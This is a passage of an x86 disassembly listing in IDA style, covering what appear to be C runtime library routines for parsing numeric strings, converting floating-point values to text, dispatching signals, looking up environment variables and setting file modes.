call sub_41A642
pop ecx
pop ecx
push 1
pop edx
jmp short loc_42170E
; ---------------------------------------------------------------------------
loc_421700: ; CODE XREF: sub_4214D8+215j
mov ecx, off_433C70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_42170E: ; CODE XREF: sub_4214D8+226j
test eax, eax
jz loc_4217C0
mov eax, esi
jmp short loc_421771
; ---------------------------------------------------------------------------
loc_42171A: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
lea ecx, [edi-2] ; jumptable 0042153B case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_42172A
cmp bl, 39h
jle short loc_42176E
loc_42172A: ; CODE XREF: sub_4214D8+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_4217A6
dec eax
dec eax
jz short loc_42179A
sub eax, 3
jnz loc_42184E
loc_42173F: ; CODE XREF: sub_4214D8+2A4j
push 8
jmp short loc_4217A8
; ---------------------------------------------------------------------------
loc_421743: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
mov [ebp+var_20], edx ; jumptable 0042153B case 8
loc_421746: ; CODE XREF: sub_4214D8+276j
cmp bl, 30h
jnz short loc_421750
mov bl, [edi]
inc edi
jmp short loc_421746
; ---------------------------------------------------------------------------
loc_421750: ; CODE XREF: sub_4214D8+271j
cmp bl, 31h
jl loc_42184B
cmp bl, 39h
jg loc_42184B
jmp short loc_42176E
; ---------------------------------------------------------------------------
loc_421764: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp bl, 31h ; jumptable 0042153B case 7
jl short loc_421777
cmp bl, 39h
jg short loc_421777
loc_42176E: ; CODE XREF: sub_4214D8+250j
; sub_4214D8+28Aj
push 9
loc_421770: ; CODE XREF: sub_4214D8+76j
pop eax
loc_421771: ; CODE XREF: sub_4214D8+240j
dec edi
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_421777: ; CODE XREF: sub_4214D8+28Fj
; sub_4214D8+294j
cmp bl, 30h
jnz short loc_4217C0
jmp short loc_42173F
; ---------------------------------------------------------------------------
loc_42177E: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp [ebp+arg_18], 0 ; jumptable 0042153B case 11
jz short loc_4217AE
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_4217A6
dec eax
dec eax
jnz loc_42184E
loc_42179A: ; CODE XREF: sub_4214D8+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_4217A6: ; CODE XREF: sub_4214D8+258j
; sub_4214D8+2B8j
push 7
loc_4217A8: ; CODE XREF: sub_4214D8+85j
; sub_4214D8+103j ...
pop eax
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_4217AE: ; CODE XREF: sub_4214D8+2AAj
push 0Ah
dec edi
pop eax
loc_4217B2: ; CODE XREF: sub_4214D8+5Dj
; sub_4214D8+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0042153B case 10
jz loc_421850
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_4217C0: ; CODE XREF: sub_4214D8+12Dj
; sub_4214D8+238j ...
mov edi, [ebp+arg_8]
jmp loc_421850
; ---------------------------------------------------------------------------
loc_4217C8: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
mov [ebp+var_20], 1 ; jumptable 0042153B case 9
xor esi, esi
loc_4217D1: ; CODE XREF: sub_4214D8+339j
cmp dword_433E7C, 1
jle short loc_4217E9
movzx eax, bl
push 4
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_4217F8
; ---------------------------------------------------------------------------
loc_4217E9: ; CODE XREF: sub_4214D8+300j
mov ecx, off_433C70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4217F8: ; CODE XREF: sub_4214D8+30Fj
test eax, eax
jz short loc_421818
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_421813
mov bl, [edi]
inc edi
jmp short loc_4217D1
; ---------------------------------------------------------------------------
loc_421813: ; CODE XREF: sub_4214D8+334j
mov esi, 1451h
loc_421818: ; CODE XREF: sub_4214D8+322j
mov [ebp+var_1C], esi
loc_42181B: ; CODE XREF: sub_4214D8+371j
cmp dword_433E7C, 1
jle short loc_421833
movzx eax, bl
push 4
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_421842
; ---------------------------------------------------------------------------
loc_421833: ; CODE XREF: sub_4214D8+34Aj
mov ecx, off_433C70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_421842: ; CODE XREF: sub_4214D8+359j
test eax, eax
jz short loc_42184B
mov bl, [edi]
inc edi
jmp short loc_42181B
; ---------------------------------------------------------------------------
loc_42184B: ; CODE XREF: sub_4214D8+99j
; sub_4214D8+E4j ...
dec edi
jmp short loc_421850
; ---------------------------------------------------------------------------
loc_42184E: ; CODE XREF: sub_4214D8+261j
; sub_4214D8+2BCj
mov edi, ecx
loc_421850: ; CODE XREF: sub_4214D8+2DDj
; sub_4214D8+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_421938
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_42187C
cmp [ebp+var_45], 5
jl short loc_421870
inc [ebp+var_45]
loc_421870: ; CODE XREF: sub_4214D8+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_42187F
; ---------------------------------------------------------------------------
loc_42187C: ; CODE XREF: sub_4214D8+38Dj
mov eax, [ebp+var_C]
loc_42187F: ; CODE XREF: sub_4214D8+3A2j
cmp [ebp+var_4], 0
jbe loc_42192E
loc_421889: ; CODE XREF: sub_4214D8+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_421897
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_421889
; ---------------------------------------------------------------------------
loc_421897: ; CODE XREF: sub_4214D8+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_421411
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_4218B6
neg eax
loc_4218B6: ; CODE XREF: sub_4214D8+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_4218C1
add eax, [ebp+arg_10]
loc_4218C1: ; CODE XREF: sub_4214D8+3E4j
cmp [ebp+var_24], ecx
jnz short loc_4218C9
sub eax, [ebp+arg_14]
loc_4218C9: ; CODE XREF: sub_4214D8+3ECj
cmp eax, 1450h
jle short loc_421900
mov [ebp+var_2C], 1
loc_4218D7: ; CODE XREF: sub_4214D8+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4218E3: ; CODE XREF: sub_4214D8+454j
; sub_4214D8+45Ej
cmp [ebp+var_2C], 0
jz short loc_421949
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_42195E
; ---------------------------------------------------------------------------
loc_421900: ; CODE XREF: sub_4214D8+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_421910
mov [ebp+var_30], 1
jmp short loc_4218D7
; ---------------------------------------------------------------------------
loc_421910: ; CODE XREF: sub_4214D8+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_4220C1
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4218E3
; ---------------------------------------------------------------------------
loc_42192E: ; CODE XREF: sub_4214D8+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4218E3
; ---------------------------------------------------------------------------
loc_421938: ; CODE XREF: sub_4214D8+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_42195E
; ---------------------------------------------------------------------------
loc_421949: ; CODE XREF: sub_4214D8+40Fj
cmp [ebp+var_30], 0
jz short loc_42195E
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_42195E: ; CODE XREF: sub_4214D8+426j
; sub_4214D8+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4214D8 endp
; ---------------------------------------------------------------------------
off_421979 dd offset loc_421542 ; DATA XREF: sub_4214D8+63r
dd offset loc_421591 ; jump table for switch statement
dd offset loc_4215E8
dd offset loc_421612
dd offset loc_42166D
dd offset loc_4216E4
dd offset loc_42171A
dd offset loc_421764
dd offset loc_421743
dd offset loc_4217C8
dd offset loc_4217B2
dd offset loc_42177E
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219A9 proc near ; CODE XREF: sub_42074B+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_421A0B
mov byte ptr [ebx+2], 2Dh
jmp short loc_421A0F
; ---------------------------------------------------------------------------
loc_421A0B: ; CODE XREF: sub_4219A9+5Aj
mov byte ptr [ebx+2], 20h
loc_421A0F: ; CODE XREF: sub_4219A9+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_421A35
test edi, edi
jnz short loc_421A35
cmp [ebp+arg_0], edi
jnz short loc_421A35
loc_421A20: ; CODE XREF: sub_4219A9+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_421C33
; ---------------------------------------------------------------------------
loc_421A35: ; CODE XREF: sub_4219A9+6Cj
; sub_4219A9+70j ...
cmp dx, si
jnz short loc_421AB4
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_421A4E
cmp [ebp+arg_0], 0
jz short loc_421A5D
loc_421A4E: ; CODE XREF: sub_4219A9+9Dj
test edi, 40000000h
jnz short loc_421A5D
push offset a1Snan ; "1#SNAN"
jmp short loc_421AA3
; ---------------------------------------------------------------------------
loc_421A5D: ; CODE XREF: sub_4219A9+A3j
; sub_4219A9+ABj
test cx, cx
jz short loc_421A77
cmp edi, 0C0000000h
jnz short loc_421A77
cmp [ebp+arg_0], 0
jnz short loc_421A9E
push offset a1Ind ; "1#IND"
jmp short loc_421A86
; ---------------------------------------------------------------------------
loc_421A77: ; CODE XREF: sub_4219A9+B7j
; sub_4219A9+BFj
cmp edi, eax
jnz short loc_421A9E
cmp [ebp+arg_0], 0
jnz short loc_421A9E
push offset a1Inf ; "1#INF"
loc_421A86: ; CODE XREF: sub_4219A9+CCj
lea eax, [ebx+4]
push eax
call sub_4179C0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_421A95: ; CODE XREF: sub_4219A9+109j
and [ebp+var_4], 0
jmp loc_421C0C
; ---------------------------------------------------------------------------
loc_421A9E: ; CODE XREF: sub_4219A9+C5j
; sub_4219A9+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_421AA3: ; CODE XREF: sub_4219A9+B2j
lea eax, [ebx+4]
push eax
call sub_4179C0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_421A95
; ---------------------------------------------------------------------------
loc_421AB4: ; CODE XREF: sub_4219A9+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_4220C1
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_421B15
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_421EA1
pop ecx
pop ecx
loc_421B15: ; CODE XREF: sub_4219A9+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_421B2F
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_421B32
jmp loc_421A20
; ---------------------------------------------------------------------------
loc_421B2F: ; CODE XREF: sub_4219A9+173j
mov edi, [ebp+arg_C]
loc_421B32: ; CODE XREF: sub_4219A9+17Fj
cmp edi, 15h
jle short loc_421B3A
push 15h
pop edi
loc_421B3A: ; CODE XREF: sub_4219A9+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_421B50: ; CODE XREF: sub_4219A9+1B4j
lea eax, [ebp+var_10]
push eax
call sub_4213B6
dec [ebp+arg_14]
pop ecx
jnz short loc_421B50
test esi, esi
jge short loc_421B7A
neg esi
and esi, 0FFh
jle short loc_421B7A
loc_421B6D: ; CODE XREF: sub_4219A9+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4213E4
dec esi
pop ecx
jnz short loc_421B6D
loc_421B7A: ; CODE XREF: sub_4219A9+1B8j
; sub_4219A9+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_421BD7
mov [ebp+arg_C], ecx
loc_421B8A: ; CODE XREF: sub_4219A9+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_4213B6
lea eax, [ebp+var_10]
push eax
call sub_4213B6
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_421358
lea eax, [ebp+var_10]
push eax
call sub_4213B6
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_421B8A
mov eax, [ebp+arg_14]
loc_421BD7: ; CODE XREF: sub_4219A9+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_421C14
loc_421BE4: ; CODE XREF: sub_4219A9+248j
cmp eax, ecx
jb short loc_421BF7
cmp byte ptr [eax], 39h
jnz short loc_421BF3
mov byte ptr [eax], 30h
dec eax
jmp short loc_421BE4
; ---------------------------------------------------------------------------
loc_421BF3: ; CODE XREF: sub_4219A9+242j
cmp eax, ecx
jnb short loc_421BFB
loc_421BF7: ; CODE XREF: sub_4219A9+23Dj
inc eax
inc word ptr [ebx]
loc_421BFB: ; CODE XREF: sub_4219A9+24Cj
inc byte ptr [eax]
loc_421BFD: ; CODE XREF: sub_4219A9+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_421C0C: ; CODE XREF: sub_4219A9+F0j
mov eax, [ebp+var_4]
loc_421C0F: ; CODE XREF: sub_4219A9+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_421C14: ; CODE XREF: sub_4219A9+239j
; sub_4219A9+275j
cmp eax, ecx
jb short loc_421C24
cmp byte ptr [eax], 30h
jnz short loc_421C20
dec eax
jmp short loc_421C14
; ---------------------------------------------------------------------------
loc_421C20: ; CODE XREF: sub_4219A9+272j
cmp eax, ecx
jnb short loc_421BFD
loc_421C24: ; CODE XREF: sub_4219A9+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_421C33: ; CODE XREF: sub_4219A9+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_421C0F
sub_4219A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421C3C proc near ; CODE XREF: sub_41D4FC+342Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_421CA3
dec eax
dec eax
jz short loc_421C94
sub eax, 4
jz short loc_421C94
sub eax, 3
jz short loc_421C94
sub eax, 4
jz short loc_421C87
sub eax, 6
jz short loc_421C7A
dec eax
jz short loc_421C6D
or eax, 0FFFFFFFFh
jmp loc_421D65
; ---------------------------------------------------------------------------
loc_421C6D: ; CODE XREF: sub_421C3C+27j
mov esi, dword_4CDC94
mov eax, offset dword_4CDC94
jmp short loc_421CAE
; ---------------------------------------------------------------------------
loc_421C7A: ; CODE XREF: sub_421C3C+24j
mov esi, dword_4CDC90
mov eax, offset dword_4CDC90
jmp short loc_421CAE
; ---------------------------------------------------------------------------
loc_421C87: ; CODE XREF: sub_421C3C+1Fj
mov esi, dword_4CDC98
mov eax, offset dword_4CDC98
jmp short loc_421CAE
; ---------------------------------------------------------------------------
loc_421C94: ; CODE XREF: sub_421C3C+10j
; sub_421C3C+15j ...
push edi
call sub_421D69
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_421CAE
; ---------------------------------------------------------------------------
loc_421CA3: ; CODE XREF: sub_421C3C+Cj
mov esi, dword_4CDC8C
mov eax, offset dword_4CDC8C
loc_421CAE: ; CODE XREF: sub_421C3C+3Cj
; sub_421C3C+49j ...
cmp esi, 1
jnz short loc_421CBA
xor eax, eax
jmp loc_421D65
; ---------------------------------------------------------------------------
loc_421CBA: ; CODE XREF: sub_421C3C+75j
test esi, esi
jnz short loc_421CC5
push 3
call sub_419AF6
loc_421CC5: ; CODE XREF: sub_421C3C+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_421CD7
cmp edi, 0Bh
jz short loc_421CD7
cmp edi, 4
jnz short loc_421CFD
loc_421CD7: ; CODE XREF: sub_421C3C+8Fj
; sub_421C3C+94j
mov ebx, dword_4CDA68
and dword_4CDA68, 0
cmp edi, ecx
jnz short loc_421D2C
mov edx, dword_4362EC
mov dword_4362EC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_421D00
; ---------------------------------------------------------------------------
loc_421CFD: ; CODE XREF: sub_421C3C+99j
mov ebx, [ebp+arg_0]
loc_421D00: ; CODE XREF: sub_421C3C+BFj
cmp edi, ecx
jnz short loc_421D2C
mov eax, dword_4362E0
mov ecx, dword_4362E4
add ecx, eax
cmp eax, ecx
jge short loc_421D33
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:436270h[edx*4]
loc_421D21: ; CODE XREF: sub_421C3C+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_421D21
jmp short loc_421D33
; ---------------------------------------------------------------------------
loc_421D2C: ; CODE XREF: sub_421C3C+AAj
; sub_421C3C+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_421D41
loc_421D33: ; CODE XREF: sub_421C3C+D7j
; sub_421C3C+EEj
push dword_4362EC
push 8
call esi
pop ecx
pop ecx
jmp short loc_421D4F
; ---------------------------------------------------------------------------
loc_421D41: ; CODE XREF: sub_421C3C+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_421D4F
cmp edi, 4
jnz short loc_421D62
loc_421D4F: ; CODE XREF: sub_421C3C+103j
; sub_421C3C+10Cj
cmp edi, 8
mov dword_4CDA68, ebx
jnz short loc_421D62
mov eax, [ebp+arg_0]
mov dword_4362EC, eax
loc_421D62: ; CODE XREF: sub_421C3C+111j
; sub_421C3C+11Cj
xor eax, eax
pop ebx
loc_421D65: ; CODE XREF: sub_421C3C+2Cj
; sub_421C3C+79j
pop edi
pop esi
pop ebp
retn
sub_421C3C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421D69 proc near ; CODE XREF: sub_421C3C+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_4362E8
cmp dword_43626C, edx
push esi
mov eax, offset dword_436268
jz short loc_421D97
lea esi, [ecx+ecx*2]
lea esi, ds:436268h[esi*4]
loc_421D8B: ; CODE XREF: sub_421D69+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_421D97
cmp [eax+4], edx
jnz short loc_421D8B
loc_421D97: ; CODE XREF: sub_421D69+16j
; sub_421D69+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:436268h[ecx*4]
cmp eax, ecx
jnb short loc_421DAB
cmp [eax+4], edx
jz short locret_421DAD
loc_421DAB: ; CODE XREF: sub_421D69+3Bj
xor eax, eax
locret_421DAD: ; CODE XREF: sub_421D69+40j
retn
sub_421D69 endp
; =============== S U B R O U T I N E =======================================
sub_421DAE proc near ; CODE XREF: sub_42094E+23p
arg_0 = dword ptr 4
cmp dword_4CF030, 0
push ebx
push esi
mov esi, dword_4CD9DC
push edi
jz short loc_421E25
test esi, esi
jnz short loc_421DDF
cmp dword_4CD9E4, esi
jz short loc_421E25
call sub_42217C
test eax, eax
jnz short loc_421E25
mov esi, dword_4CD9DC
test esi, esi
jz short loc_421E25
loc_421DDF: ; CODE XREF: sub_421DAE+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_421E25
push ebx
call sub_417AB0
pop ecx
mov edi, eax
loc_421DF0: ; CODE XREF: sub_421DAE+6Dj
mov eax, [esi]
test eax, eax
jz short loc_421E25
push eax
call sub_417AB0
cmp eax, edi
pop ecx
jbe short loc_421E18
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_421E18
push edi
push ebx
push eax
call sub_42213D
add esp, 0Ch
test eax, eax
jz short loc_421E1D
loc_421E18: ; CODE XREF: sub_421DAE+51j
; sub_421DAE+59j
add esi, 4
jmp short loc_421DF0
; ---------------------------------------------------------------------------
loc_421E1D: ; CODE XREF: sub_421DAE+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_421E27
; ---------------------------------------------------------------------------
loc_421E25: ; CODE XREF: sub_421DAE+10j
; sub_421DAE+1Cj ...
xor eax, eax
loc_421E27: ; CODE XREF: sub_421DAE+75j
pop edi
pop esi
pop ebx
retn
sub_421DAE endp
; =============== S U B R O U T I N E =======================================
sub_421E2B proc near ; CODE XREF: sub_4211F1+8Bp
; sub_4211F1+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4CEDE0
jnb short loc_421E92
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4CECE0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_421E92
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_421E6B
and cl, 7Fh
jmp short loc_421E78
; ---------------------------------------------------------------------------
loc_421E6B: ; CODE XREF: sub_421E2B+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_421E86
or cl, 80h
loc_421E78: ; CODE XREF: sub_421E2B+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_421E86: ; CODE XREF: sub_421E2B+48j
mov dword_4CD9B4, 16h
jmp short loc_421E9C
; ---------------------------------------------------------------------------
loc_421E92: ; CODE XREF: sub_421E2B+Bj
; sub_421E2B+27j
mov dword_4CD9B4, 9
loc_421E9C: ; CODE XREF: sub_421E2B+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_421E2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421EA1 proc near ; CODE XREF: sub_4219A9+165p
; sub_4220C1+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_4220A1
cmp cx, 7FFFh
jnb loc_4220A1
cmp dx, 0BFFDh
ja loc_4220A1
cmp dx, 3FBFh
ja short loc_421F0A
xor eax, eax
jmp short loc_421F44
; ---------------------------------------------------------------------------
loc_421F0A: ; CODE XREF: sub_421EA1+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_421F2C
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_421F2C
xor eax, eax
cmp [esi+4], eax
jnz short loc_421F2E
cmp [esi], eax
jnz short loc_421F2E
jmp loc_42209B
; ---------------------------------------------------------------------------
loc_421F2C: ; CODE XREF: sub_421EA1+71j
; sub_421EA1+79j
xor eax, eax
loc_421F2E: ; CODE XREF: sub_421EA1+80j
; sub_421EA1+84j
cmp cx, ax
jnz short loc_421F51
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_421F51
cmp [ebx+4], eax
jnz short loc_421F51
cmp [ebx], eax
jnz short loc_421F51
loc_421F44: ; CODE XREF: sub_421EA1+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_4220BC
; ---------------------------------------------------------------------------
loc_421F51: ; CODE XREF: sub_421EA1+90j
; sub_421EA1+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_421F61: ; CODE XREF: sub_421EA1+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_421FB5
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_421F7D: ; CODE XREF: sub_421EA1+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_421337
add esp, 0Ch
test eax, eax
jz short loc_421FA8
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_421FA8: ; CODE XREF: sub_421EA1+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_421F7D
loc_421FB5: ; CODE XREF: sub_421EA1+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_421F61
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_421FF8
loc_421FD3: ; CODE XREF: sub_421EA1+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_421FF1
lea eax, [ebp+var_24]
push eax
call sub_4213B6
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_421FD3
loc_421FF1: ; CODE XREF: sub_421EA1+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_422031
loc_421FF8: ; CODE XREF: sub_421EA1+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_422031
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_422011: ; CODE XREF: sub_421EA1+184j
test byte ptr [ebp+var_24], 1
jz short loc_42201A
inc [ebp+var_14]
loc_42201A: ; CODE XREF: sub_421EA1+174j
lea eax, [ebp+var_24]
push eax
call sub_4213E4
dec ebx
pop ecx
jnz short loc_422011
cmp [ebp+var_14], 0
jz short loc_422031
or byte ptr [ebp+var_24], 1
loc_422031: ; CODE XREF: sub_421EA1+155j
; sub_421EA1+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_422048
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_42207D
loc_422048: ; CODE XREF: sub_421EA1+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_42207A
